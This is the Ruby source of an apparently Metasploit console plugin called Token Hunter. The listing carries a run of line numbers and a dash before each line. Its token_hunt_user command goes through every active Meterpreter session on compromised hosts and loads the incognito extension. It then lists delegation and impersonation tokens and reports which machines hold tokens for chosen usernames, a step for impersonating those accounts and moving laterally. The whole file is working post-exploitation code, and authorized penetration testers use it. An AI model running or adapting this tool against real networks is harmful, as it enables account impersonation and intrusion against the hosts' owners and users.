123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147 |
- #
- # $Id$
- # $Revision$
- #
- module Msf
- class Plugin::TokenHunter < Msf::Plugin
- class TokenCommandDispatcher
- include Msf::Ui::Console::CommandDispatcher
- def name
- 'Token Hunter'
- end
- def commands
- {
- 'token_hunt_user' => 'Scan all connected Meterpreter sessions for active tokens corresponding to one or more users'
- }
- end
- def cmd_token_hunt_user(*args)
- opts = Rex::Parser::Arguments.new(
- '-h' => [ false, 'This help menu'],
- '-f' => [ true, 'A file containing a list of users to search for (one per line)']
- )
- opt_userfile = nil
- opt_users = []
- opts.parse(args) do |opt, _idx, val|
- case opt
- when '-h'
- print_line('Usage: token_hunt_user [options] <username> [username] .. [username]')
- print_line(opts.usage)
- return
- when '-f'
- opt_userfile = val
- else
- opt_users << val
- end
- end
- if opt_userfile
- ::File.open(opt_userfile, 'rb') do |fd|
- fd.each_line do |line|
- line.strip!
- next if line.empty?
- next if line =~ /^#/
- opt_users << line
- end
- end
- end
- opt_users.uniq!
- tokens_del = {}
- tokens_imp = {}
- framework.sessions.each_key do |sid|
- session = framework.sessions[sid]
- next if session.type != 'meterpreter'
- print_status(">> Scanning session #{session.sid} / #{session.session_host}")
- if !session.incognito
- session.core.use('incognito')
- end
- if !session.incognito
- print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
- next
- end
- res = session.incognito.incognito_list_tokens(0)
- next unless res
- res['delegation'].split("\n").each do |user|
- opt_users.each do |needle|
- ndom, nusr = needle.split('\\')
- if !nusr
- nusr = ndom
- ndom = nil
- end
- if (!user.nil? && ndom && (user.strip.downcase == needle.strip.downcase))
- print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)")
- next
- end
- _fdom, fusr = user.split('\\')
- if (!fusr.nil? && !ndom && (fusr.strip.downcase == nusr.strip.downcase))
- print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)")
- end
- end
- tokens_del[user] ||= []
- tokens_del[user] << session.sid
- end
- res['impersonation'].split("\n").each do |user|
- opt_users.each do |needle|
- ndom, nusr = needle.split('\\')
- if !nusr
- nusr = ndom
- ndom = nil
- end
- if (!user.nil? && ndom && (user.strip.downcase == needle.strip.downcase))
- print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)")
- next
- end
- _fdom, fusr = user.split('\\')
- if (!fusr.nil? && !ndom && (fusr.strip.downcase == nusr.strip.downcase))
- print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)")
- end
- end
- tokens_imp[user] ||= []
- tokens_imp[user] << session.sid
- end
- end
- end
- end
- def initialize(framework, opts)
- super
- add_console_dispatcher(TokenCommandDispatcher)
- end
- def cleanup
- remove_console_dispatcher('Token Hunter')
- end
- def name
- 'token_hunter'
- end
- def desc
- 'Search all active Meterpreter sessions for specific tokens'
- end
- end
- end
|